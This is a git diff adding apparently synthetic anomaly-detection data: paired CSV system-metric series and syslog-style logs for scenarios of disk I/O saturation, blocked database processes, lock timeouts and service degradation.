+Jul 02 11:03:37 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:03:45 app-server[8080]: ERROR Timeout while waiting for file lock on /var/data/session_data.lock +Jul 02 11:03:48 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:03:53 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:03:58 db-service[4567]: WARN Slow query detected (35.2s): SELECT * FROM user_events WHERE event_date > '2025-07-01' +Jul 02 11:04:02 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:04:10 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:04:13 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:04:19 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:04:22 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:04:29 db-service[4567]: WARN Slow query detected (35.2s): SELECT * FROM user_events WHERE event_date > '2025-07-01' +Jul 02 11:04:32 kernel: [18345.678] INFO: task mysqld:5502 blocked for more than 120 seconds. +Jul 02 11:04:32 kernel: [18345.679] Tainted: P O 4.15.0-142-generic #146-Ubuntu +Jul 02 11:04:32 kernel: [18345.680] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 02 11:04:40 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:04:43 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:04:49 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:04:54 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:04:58 db-service[4567]: WARN Slow query detected (35.2s): SELECT * FROM user_events WHERE event_date > '2025-07-01' +Jul 02 11:05:03 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:05:10 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:05:15 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:05:18 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:05:22 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:05:29 db-service[4567]: WARN Slow query detected (35.2s): SELECT * FROM user_events WHERE event_date > '2025-07-01' +Jul 02 11:05:34 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:05:38 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:05:42 backup-script[9123]: ERROR Failed to write to backup file: /mnt/backups/daily.tar.gz - device or resource busy +Jul 02 11:05:49 systemd[1]: session-80.scope: Succeeded. +Jul 02 11:05:54 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:05:59 db-service[4567]: INFO Database connection pool has been reset. +Jul 02 11:06:02 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:06:07 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:06:15 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:06:19 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:06:22 systemd[1]: session-87.scope: Succeeded. +Jul 02 11:06:29 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:06:35 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:06:37 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:06:45 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:06:48 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:06:53 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:06:58 systemd[1]: session-94.scope: Succeeded. +Jul 02 11:07:05 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:07:10 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:07:14 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:07:19 app-server[8080]: INFO Service status check returned to normal. +Jul 02 11:07:22 app-server[8080]: INFO Service status check returned to normal. diff --git a/anom_dataset/scenario_4/anom_4_7.csv b/anom_dataset/scenario_4/anom_4_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..0e4894077505b704549adbb8415dbc10431780d3 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T14:00:00Z,27.62,41.93,27.76,1.13,1.78 +2025-08-23T14:00:05Z,20.83,44.9,21.69,0.82,1.55 +2025-08-23T14:00:10Z,25.93,41.13,37.83,1.13,1.61 +2025-08-23T14:00:15Z,21.89,42.19,34.52,0.97,1.12 +2025-08-23T14:00:20Z,24.69,44.97,37.46,1.25,1.72 +2025-08-23T14:00:25Z,27.83,39.93,28.93,1.36,1.48 +2025-08-23T14:00:30Z,29.14,43.3,33.66,1.36,1.01 +2025-08-23T14:00:35Z,20.95,40.14,34.11,1.21,1.7 +2025-08-23T14:00:40Z,29.02,42.25,25.15,1.36,1.65 +2025-08-23T14:00:45Z,22.69,41.07,35.28,0.83,1.48 +2025-08-23T14:00:50Z,27.08,41.18,26.76,1.38,1.1 +2025-08-23T14:00:55Z,29.97,43.96,32.58,1.4,1.29 +2025-08-23T14:01:00Z,19.32,43.42,22.54,1.27,1.2 +2025-08-23T14:01:05Z,26.39,40.35,35.52,1.29,1.6 +2025-08-23T14:01:10Z,19.65,40.85,37.51,1.02,1.54 +2025-08-23T14:01:15Z,20.36,42.0,32.48,1.3,1.53 +2025-08-23T14:01:20Z,15.21,41.28,25.76,1.09,1.45 +2025-08-23T14:01:25Z,23.2,41.31,23.69,1.08,1.51 +2025-08-23T14:01:30Z,22.91,44.73,33.73,1.35,1.39 +2025-08-23T14:01:35Z,25.64,42.62,31.31,0.94,1.2 +2025-08-23T14:01:40Z,22.85,42.61,25.96,1.25,1.14 +2025-08-23T14:01:45Z,17.25,42.31,39.34,1.38,1.53 +2025-08-23T14:01:50Z,27.57,44.42,31.47,0.83,1.63 +2025-08-23T14:01:55Z,16.32,41.08,20.05,1.04,1.01 +2025-08-23T14:02:00Z,20.48,41.6,39.92,1.42,1.09 +2025-08-23T14:02:05Z,29.03,41.22,39.12,1.45,1.71 +2025-08-23T14:02:10Z,27.19,39.85,23.18,1.04,1.31 +2025-08-23T14:02:15Z,22.69,44.98,30.24,1.43,1.5 +2025-08-23T14:02:20Z,17.37,39.83,29.56,1.14,1.29 +2025-08-23T14:02:25Z,23.79,40.87,35.04,1.03,1.11 +2025-08-23T14:02:30Z,30.57,43.8,98.5,0.33,0.57 +2025-08-23T14:02:35Z,87.82,43.88,99.2,0.46,0.63 +2025-08-23T14:02:40Z,30.37,40.83,96.59,0.59,0.87 +2025-08-23T14:02:45Z,87.2,45.3,96.59,0.52,0.55 +2025-08-23T14:02:50Z,36.22,42.49,96.59,0.41,0.65 +2025-08-23T14:02:55Z,34.28,41.2,96.59,0.59,0.55 +2025-08-23T14:03:00Z,86.48,41.49,96.59,0.37,0.45 +2025-08-23T14:03:05Z,36.99,44.33,96.59,0.49,0.6 +2025-08-23T14:03:10Z,34.31,42.96,96.59,0.17,0.26 +2025-08-23T14:03:15Z,96.33,41.32,96.59,0.28,0.5 +2025-08-23T14:03:20Z,95.82,45.3,96.59,0.32,0.66 +2025-08-23T14:03:25Z,35.39,43.55,96.59,0.24,0.55 +2025-08-23T14:03:30Z,31.54,45.07,96.59,0.38,0.47 +2025-08-23T14:03:35Z,35.34,44.7,96.59,0.44,0.46 +2025-08-23T14:03:40Z,85.81,42.7,96.59,0.58,0.92 +2025-08-23T14:03:45Z,38.77,41.61,96.59,0.38,0.9 +2025-08-23T14:03:50Z,26.26,47.24,96.59,0.61,0.8 +2025-08-23T14:03:55Z,39.54,45.66,96.59,0.43,0.8 +2025-08-23T14:04:00Z,29.93,43.06,96.59,0.29,0.43 +2025-08-23T14:04:05Z,87.86,44.78,96.59,0.45,0.74 +2025-08-23T14:04:10Z,86.86,42.61,96.59,0.35,0.21 +2025-08-23T14:04:15Z,39.25,43.72,96.59,0.48,0.46 +2025-08-23T14:04:20Z,27.24,42.9,96.59,0.19,0.29 +2025-08-23T14:04:25Z,28.07,45.96,96.59,0.28,0.23 +2025-08-23T14:04:30Z,92.72,41.1,96.59,0.43,0.45 +2025-08-23T14:04:35Z,85.94,46.3,96.59,0.3,0.69 +2025-08-23T14:04:40Z,93.1,44.15,96.59,0.51,0.55 +2025-08-23T14:04:45Z,27.91,41.63,96.59,0.51,0.58 +2025-08-23T14:04:50Z,27.59,41.0,96.59,0.59,0.48 +2025-08-23T14:04:55Z,88.17,40.93,96.59,0.29,0.96 +2025-08-23T14:05:00Z,93.97,42.01,96.59,0.31,0.73 +2025-08-23T14:05:05Z,87.33,42.69,96.59,0.25,0.59 +2025-08-23T14:05:10Z,36.65,44.14,96.59,0.48,0.79 +2025-08-23T14:05:15Z,97.54,42.32,96.59,0.37,0.67 +2025-08-23T14:05:20Z,33.02,41.12,96.59,0.18,0.35 +2025-08-23T14:05:25Z,91.36,41.75,96.59,0.26,0.24 +2025-08-23T14:05:30Z,87.47,45.43,96.59,0.51,0.2 +2025-08-23T14:05:35Z,27.64,45.15,96.59,0.57,0.43 +2025-08-23T14:05:40Z,90.02,44.82,96.59,0.6,0.57 +2025-08-23T14:05:45Z,32.84,45.21,96.59,0.42,0.5 +2025-08-23T14:05:50Z,27.85,41.35,96.59,0.6,0.74 +2025-08-23T14:05:55Z,27.36,45.97,96.59,0.53,0.77 +2025-08-23T14:06:00Z,32.03,41.51,96.59,0.4,0.79 +2025-08-23T14:06:05Z,31.4,44.24,96.59,0.12,0.49 +2025-08-23T14:06:10Z,34.57,41.42,96.59,0.46,0.96 +2025-08-23T14:06:15Z,39.74,41.16,96.59,0.21,0.66 +2025-08-23T14:06:20Z,29.09,43.47,96.59,0.52,0.86 +2025-08-23T14:06:25Z,90.03,44.69,96.59,0.42,0.67 +2025-08-23T14:06:30Z,33.49,42.47,96.59,0.37,0.56 +2025-08-23T14:06:35Z,88.9,45.58,96.59,0.52,0.22 +2025-08-23T14:06:40Z,31.77,44.17,96.59,0.56,0.53 +2025-08-23T14:06:45Z,85.24,41.78,96.59,0.52,0.39 +2025-08-23T14:06:50Z,25.85,43.76,96.59,0.51,0.31 +2025-08-23T14:06:55Z,90.84,43.28,96.59,0.41,0.45 +2025-08-23T14:07:00Z,25.54,43.8,96.59,0.32,0.66 +2025-08-23T14:07:05Z,94.01,45.78,96.59,0.28,0.52 +2025-08-23T14:07:10Z,36.71,44.85,96.59,0.29,0.73 +2025-08-23T14:07:15Z,38.53,45.9,96.59,0.25,0.88 +2025-08-23T14:07:20Z,86.06,44.32,96.59,0.41,0.79 +2025-08-23T14:07:25Z,31.44,44.33,96.59,0.54,0.91 diff --git a/anom_dataset/scenario_4/anom_4_7.log b/anom_dataset/scenario_4/anom_4_7.log new file mode 100644 index 0000000000000000000000000000000000000000..c5a7da609bc05a1d819ed4c2ff5323cb15d5653a --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_7.log @@ -0,0 +1,17 @@ +Aug 23 14:00:05 systemd[1]: Started Session 5 of user db_admin. +Aug 23 14:00:25 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 14:01:00 sshd[15234]: Accepted publickey for db_admin from 10.0.2.5 port 60123 ssh2 +Aug 23 14:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod database-proxy +Aug 23 14:02:30 db_replicator[8871]: INFO Starting full table replication for 'sales_records'. This is a high I/O operation. +Aug 23 14:02:42 web_server[4501]: WARNING API call to /api/v1/user/profile/123 took 8.5s. High latency detected. +Aug 23 14:03:15 db_server[7710]: ERROR Query timeout. Failed to fetch data for analytics report. The operation exceeded the 30-second limit. +Aug 23 14:04:20 CRON[21352]: (ubuntu) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 23 14:04:45 kernel: [85432.123] Tainted: G W 5.4.0-101-generic #114-Ubuntu +Aug 23 14:04:45 kernel: [85432.123] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Aug 23 14:04:45 kernel: [85432.123] INFO: task db_replicator:8871 blocked for more than 120 seconds. +Aug 23 14:04:45 kernel: [85432.123] db_replicator D 0000000000000000 0 8871 1 0x00000080 +Aug 23 14:05:40 db_server[7710]: ERROR Failed to commit transaction: Lock wait timeout exceeded; try restarting transaction +Aug 23 14:06:40 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 23 14:06:45 web_server[4502]: CRITICAL Service unavailable. Backend data source is not responding. +Aug 23 14:07:05 sshd[15234]: Connection closed by 10.0.2.5 port 60123 +Aug 23 14:07:20 systemd[1]: Finished Daily apt upgrade and clean activities. diff --git a/anom_dataset/scenario_4/anom_4_8.csv b/anom_dataset/scenario_4/anom_4_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..9e74243c463aebbd67a32654518edbdae79affac --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T16:00:00Z,12.4,43.54,25.01,1.34,0.99 +2025-08-23T16:00:05Z,15.61,44.5,27.88,0.91,1.31 +2025-08-23T16:00:10Z,15.67,41.33,35.63,1.01,1.53 +2025-08-23T16:00:15Z,13.79,42.88,28.64,1.11,1.9 +2025-08-23T16:00:20Z,14.9,41.29,29.31,1.06,1.76 +2025-08-23T16:00:25Z,16.21,43.65,26.66,1.5,1.57 +2025-08-23T16:00:30Z,17.31,43.62,33.14,1.24,1.4 +2025-08-23T16:00:35Z,15.16,41.99,30.84,1.46,1.02 +2025-08-23T16:00:40Z,17.53,43.32,25.46,1.36,1.63 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+2025-08-23T16:07:25Z,83.59,40.64,94.25,0.63,0.86 diff --git a/anom_dataset/scenario_4/anom_4_8.log b/anom_dataset/scenario_4/anom_4_8.log new file mode 100644 index 0000000000000000000000000000000000000000..34d7f8a4b5a8007647ed0fc9b05242c293590a52 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_8.log @@ -0,0 +1,15 @@ +Aug 23 16:00:05 systemd[1]: Started Session 5 of user db_admin. +Aug 23 16:00:25 sshd[1345]: Accepted publickey for db_admin from 10.0.1.5 port 49822 ssh2 +Aug 23 16:01:00 cron[1102]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 16:01:40 kernel: [120.115] audit: type=1400 audit(1755100900.123:45): apparmor="ALLOWED" operation="open" profile="/usr/sbin/mysqld" name=/var/log/mysql/error.log +Aug 23 16:02:30 mysqld[1567]: INFO Starting database backup process. +Aug 23 16:03:05 mysqld[1567]: WARNING Query execution time has exceeded 5 seconds: SELECT * FROM large_table; +Aug 23 16:03:30 webapp[2310]: ERROR Timeout while trying to write session data to disk. +Aug 23 16:04:00 mysqld[1567]: WARNING Query execution time has exceeded 15 seconds for 5 queries. +Aug 23 16:04:35 kernel: [330.543] INFO: task mysqld:1567 blocked for more than 120 seconds. +Aug 23 16:04:40 kernel: [330.543] Tainted: G W 5.4.0-100-generic #113-Ubuntu +Aug 23 16:04:45 kernel: [330.543] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Aug 23 16:05:25 webapp[2310]: CRITICAL Service health check failed: unable to access critical file /data/app.lock +Aug 23 16:06:15 mysqld[1567]: ERROR Failed to write to binary log: a disk write error occurred. +Aug 23 16:07:05 CRON[4501]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +Aug 23 16:07:20 systemd[1]: session-5.scope: Succeeded. diff --git a/anom_dataset/scenario_4/anom_4_9.csv b/anom_dataset/scenario_4/anom_4_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..640318a222032e3df06e60e44f6400531c7e7163 --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,11.73,39.45,29.27,0.65,1.24 +2025-07-03T11:00:05Z,11.0,37.25,27.37,0.89,1.49 +2025-07-03T11:00:10Z,15.78,36.07,31.38,0.59,0.78 +2025-07-03T11:00:15Z,12.08,42.5,32.13,0.64,1.27 +2025-07-03T11:00:20Z,20.04,40.59,32.19,0.89,1.14 +2025-07-03T11:00:25Z,14.85,37.76,35.54,0.76,0.75 +2025-07-03T11:00:30Z,16.15,38.79,34.61,0.8,1.17 +2025-07-03T11:00:35Z,15.27,39.06,29.33,0.66,1.86 +2025-07-03T11:00:40Z,10.79,39.87,26.04,0.89,1.27 +2025-07-03T11:00:45Z,15.32,36.58,34.35,0.8,1.22 +2025-07-03T11:00:50Z,18.69,41.29,29.59,0.75,0.81 +2025-07-03T11:00:55Z,19.79,38.51,25.11,0.99,1.28 +2025-07-03T11:01:00Z,12.84,36.65,29.8,1.21,1.27 +2025-07-03T11:01:05Z,10.87,41.59,29.47,0.86,1.82 +2025-07-03T11:01:10Z,12.41,38.44,26.45,0.69,1.33 +2025-07-03T11:01:15Z,18.66,41.75,31.36,0.65,0.73 +2025-07-03T11:01:20Z,19.91,42.11,36.25,0.63,0.94 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+2025-07-03T11:06:25Z,78.41,40.27,98.26,0.37,0.53 +2025-07-03T11:06:30Z,79.64,41.67,96.97,0.55,0.45 +2025-07-03T11:06:35Z,79.82,39.73,100.0,0.54,0.53 +2025-07-03T11:06:40Z,76.52,43.05,94.0,0.31,0.3 +2025-07-03T11:06:45Z,85.25,42.33,96.95,0.32,0.82 +2025-07-03T11:06:50Z,77.12,41.68,97.74,0.41,0.36 +2025-07-03T11:06:55Z,81.92,42.3,97.25,0.43,0.71 +2025-07-03T11:07:00Z,73.11,41.05,97.61,0.31,0.47 +2025-07-03T11:07:05Z,75.98,43.19,94.0,0.44,0.85 +2025-07-03T11:07:10Z,78.14,40.37,94.0,0.34,0.47 +2025-07-03T11:07:15Z,70.95,40.04,99.97,0.37,0.68 +2025-07-03T11:07:20Z,79.41,41.68,96.43,0.35,0.65 +2025-07-03T11:07:25Z,76.01,41.79,96.97,0.38,0.7 diff --git a/anom_dataset/scenario_4/anom_4_9.log b/anom_dataset/scenario_4/anom_4_9.log new file mode 100644 index 0000000000000000000000000000000000000000..d0fedac3b426253d0eadecf3e495e0e725afe3ca --- /dev/null +++ b/anom_dataset/scenario_4/anom_4_9.log @@ -0,0 +1,17 @@ +Jul 03 11:00:15 sshd[10521]: Accepted publickey for user admin from 10.0.1.5 port 49822 ssh2 +Jul 03 11:00:50 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 03 11:01:15 CRON[11890]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 11:02:05 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 03 11:02:40 kernel: [18245.132] INFO: task mysqld:1123 blocked for more than 120 seconds. +Jul 03 11:02:45 kernel: [18245.135] Tainted: P O 4.15.0-142-generic #146-Ubuntu +Jul 03 11:02:50 kernel: [18245.138] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Jul 03 11:03:10 mysqld[1123]: WARN: InnoDB: write to log file took 25890ms, fsyncing files +Jul 03 11:03:20 kubelet[2109]: INFO: Successfully probed container health-check +Jul 03 11:03:45 app-worker[5521]: ERROR: Timeout writing to output file /data/processed/batch_123.dat after 30 seconds +Jul 03 11:04:35 sshd[10521]: Connection closed by 10.0.1.5 port 49822 +Jul 03 11:04:50 kernel: [18365.450] INFO: task java:2345 blocked for more than 120 seconds. +Jul 03 11:05:25 database-backup.sh[7781]: ERROR: Failed to acquire lock on /var/lib/mysql. Aborting backup. +Jul 03 11:05:50 nginx[3341]: GET /healthz HTTP/1.1 200 OK +Jul 03 11:06:15 app-worker[5522]: ERROR: Timeout writing to output file /data/processed/batch_124.dat after 30 seconds +Jul 03 11:07:05 systemd[1]: Started Session 5 of user admin. +Jul 03 11:07:20 mysqld[1123]: WARN: InnoDB: write to log file took 31050ms, fsyncing files diff --git a/anom_dataset/scenario_5/anom_5_1.csv b/anom_dataset/scenario_5/anom_5_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..9475deb77d47ef1d59478c28a6fff9b30a2e1857 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cpu_steal_time +2025-07-02T11:00:00Z,25.81,45.32,32.72,0.88,1.58,0.11 +2025-07-02T11:00:05Z,37.74,46.63,33.6,1.35,1.78,0.87 +2025-07-02T11:00:10Z,27.51,43.22,33.46,0.72,1.78,0.04 +2025-07-02T11:00:15Z,24.26,52.59,24.28,1.27,1.99,0.93 +2025-07-02T11:00:20Z,39.4,46.22,18.51,1.1,1.61,0.04 +2025-07-02T11:00:25Z,20.93,58.77,26.51,1.01,1.82,0.74 +2025-07-02T11:00:30Z,29.02,42.69,32.09,0.9,1.31,0.99 +2025-07-02T11:00:35Z,29.71,52.0,16.03,0.56,1.1,0.71 +2025-07-02T11:00:40Z,33.77,54.15,21.75,0.96,0.86,0.86 +2025-07-02T11:00:45Z,30.91,47.84,17.33,0.71,1.2,0.89 +2025-07-02T11:00:50Z,39.55,58.89,32.6,0.9,1.2,0.87 +2025-07-02T11:00:55Z,35.89,59.45,20.87,1.28,1.84,0.68 +2025-07-02T11:01:00Z,32.03,41.69,19.29,0.86,0.99,0.99 +2025-07-02T11:01:05Z,37.47,51.8,22.25,1.16,1.63,0.59 +2025-07-02T11:01:10Z,20.24,47.84,25.9,1.21,1.96,0.1 +2025-07-02T11:01:15Z,34.38,56.29,30.37,0.69,1.42,0.74 +2025-07-02T11:01:20Z,20.55,42.23,19.9,1.03,1.21,0.53 +2025-07-02T11:01:25Z,25.72,56.98,21.49,0.52,1.09,0.52 +2025-07-02T11:01:30Z,20.98,45.38,16.03,1.22,1.49,0.91 +2025-07-02T11:01:35Z,29.87,51.05,26.07,1.06,1.47,0.14 +2025-07-02T11:01:40Z,24.23,54.86,17.67,0.97,1.25,0.74 +2025-07-02T11:01:45Z,31.64,48.68,33.73,1.3,1.91,0.2 +2025-07-02T11:01:50Z,28.34,40.51,30.5,1.46,1.64,0.43 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CRON[28301]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 11:00:00 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:00:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:00:40 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:01:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:01:20 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:02:00 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:02:05 CRON[28301]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 11:02:30 nginx[1150]: GET /api/v1/user-profile HTTP/1.1 504 Gateway Time-out +Jul 02 11:02:30 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:02:35 web-app[4512]: WARN API call to payment-service took 3170ms, exceeding the 2000ms threshold +Jul 02 11:02:40 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:02:45 web-app[4512]: ERROR upstream request timeout to user-database:1345 after 3 retries +Jul 02 11:02:55 web-app[4512]: WARN API call to payment-service took 3768ms, exceeding the 2000ms threshold +Jul 02 11:03:15 nginx[1150]: GET /api/v1/user-profile HTTP/1.1 504 Gateway Time-out +Jul 02 11:03:15 web-app[4512]: WARN API call to payment-service took 3073ms, exceeding the 2000ms threshold +Jul 02 11:03:20 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:03:20 web-app[4512]: ERROR upstream request timeout to user-database:1345 after 3 retries +Jul 02 11:03:35 web-app[4512]: WARN API call to payment-service took 2842ms, exceeding the 2000ms threshold +Jul 02 11:03:45 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:03:55 web-app[4512]: ERROR upstream request timeout to user-database:1345 after 3 retries +Jul 02 11:03:55 web-app[4512]: WARN API call to payment-service took 3484ms, exceeding the 2000ms threshold +Jul 02 11:04:00 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:04:00 nginx[1150]: GET /api/v1/user-profile HTTP/1.1 504 Gateway Time-out +Jul 02 11:04:10 CRON[28301]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 11:04:15 web-app[4512]: WARN API call to payment-service took 3922ms, exceeding the 2000ms threshold +Jul 02 11:04:30 web-app[4512]: ERROR upstream request timeout to user-database:1345 after 3 retries +Jul 02 11:04:35 web-app[4512]: WARN API call to payment-service took 3266ms, exceeding the 2000ms threshold +Jul 02 11:04:40 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:04:45 nginx[1150]: GET /api/v1/user-profile HTTP/1.1 504 Gateway Time-out +Jul 02 11:04:55 web-app[4512]: WARN API call to payment-service took 3119ms, exceeding the 2000ms threshold +Jul 02 11:05:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:05:20 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:06:00 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:06:15 CRON[28301]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 11:06:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:06:40 kubelet[3102]: INFO routine sync completed for pod web-app-v2 +Jul 02 11:07:20 kubelet[3102]: INFO routine sync completed for pod web-app-v2 \ No newline at end of file diff --git a/anom_dataset/scenario_5/anom_5_10.csv b/anom_dataset/scenario_5/anom_5_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..773beee4057f17b7fee155d318cf428b0ba817c5 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal_time,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,19.55,0.0,37.71,30.97,1.21,1.87 +2025-07-15T10:00:05Z,18.34,0.0,41.31,23.54,1.36,1.11 +2025-07-15T10:00:10Z,26.3,0.0,36.9,29.08,1.39,1.79 +2025-07-15T10:00:15Z,20.14,0.0,37.67,30.29,0.68,1.37 +2025-07-15T10:00:20Z,33.4,0.0,41.36,29.05,1.28,0.93 +2025-07-15T10:00:25Z,24.75,0.0,39.37,25.04,0.63,1.2 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+2025-07-15T10:06:30Z,11.81,0.0,39.64,32.04,0.97,1.2 +2025-07-15T10:06:35Z,25.98,0.0,39.35,25.05,0.62,1.12 +2025-07-15T10:06:40Z,31.24,0.0,35.29,32.35,1.39,1.57 +2025-07-15T10:06:45Z,25.52,0.0,46.64,34.21,1.01,1.95 +2025-07-15T10:06:50Z,26.59,0.0,37.08,28.19,1.08,1.33 +2025-07-15T10:06:55Z,16.57,0.0,35.47,30.83,1.45,1.37 +2025-07-15T10:07:00Z,28.96,0.0,40.58,33.0,1.48,0.89 +2025-07-15T10:07:05Z,32.87,0.0,37.49,31.82,0.71,1.0 +2025-07-15T10:07:10Z,28.5,0.0,39.86,30.74,1.27,0.97 +2025-07-15T10:07:15Z,15.93,0.0,37.43,29.76,1.11,1.94 +2025-07-15T10:07:20Z,15.11,0.0,40.25,32.93,0.87,0.84 +2025-07-15T10:07:25Z,27.15,0.0,39.69,32.26,0.53,0.99 diff --git a/anom_dataset/scenario_5/anom_5_10.log b/anom_dataset/scenario_5/anom_5_10.log new file mode 100644 index 0000000000000000000000000000000000000000..8562fd77a947e0b2d84906a061d0bf41b4ce7197 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_10.log @@ -0,0 +1,33 @@ +Jul 15 10:00:00 kubelet[2101]: INFO routine sync completed for pod web-app-7b5b7c9d9-abcde +Jul 15 10:00:25 sshd[18234]: Accepted publickey for user admin from 10.0.1.5 port 54321 ssh2 +Jul 15 10:00:50 systemd[1]: Started Session 5 of user admin. +Jul 15 10:01:05 kubelet[2101]: INFO routine sync completed for pod web-app-7b5b7c9d9-abcde +Jul 15 10:02:05 cron[19987]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:02:10 kubelet[2101]: INFO routine sync completed for pod web-app-7b5b7c9d9-abcde +Jul 15 10:03:15 kubelet[2101]: INFO routine sync completed for pod web-app-7b5b7c9d9-abcde +Jul 15 10:03:20 web-app[3105]: WARN response time for GET /api/v1/user/profile is high: 2798ms +Jul 15 10:03:25 web-app[3105]: ERROR upstream service [database-svc] timeout on query: SELECT * FROM orders WHERE user_id=... +Jul 15 10:03:30 web-app[3105]: INFO request to payment-gateway failed, will retry (attempt 2/3) +Jul 15 10:03:35 ingress-controller[809]: WARN GET /api/v1/products returned status 504 (Gateway Timeout) after 30s +Jul 15 10:03:40 web-app[3105]: WARN response time for GET /api/v1/user/profile is high: 2660ms +Jul 15 10:03:45 web-app[3105]: ERROR upstream service [database-svc] timeout on query: SELECT * FROM orders WHERE user_id=... +Jul 15 10:03:50 web-app[3105]: INFO request to payment-gateway failed, will retry (attempt 2/3) +Jul 15 10:03:55 ingress-controller[809]: WARN GET /api/v1/products returned status 504 (Gateway Timeout) after 30s +Jul 15 10:04:00 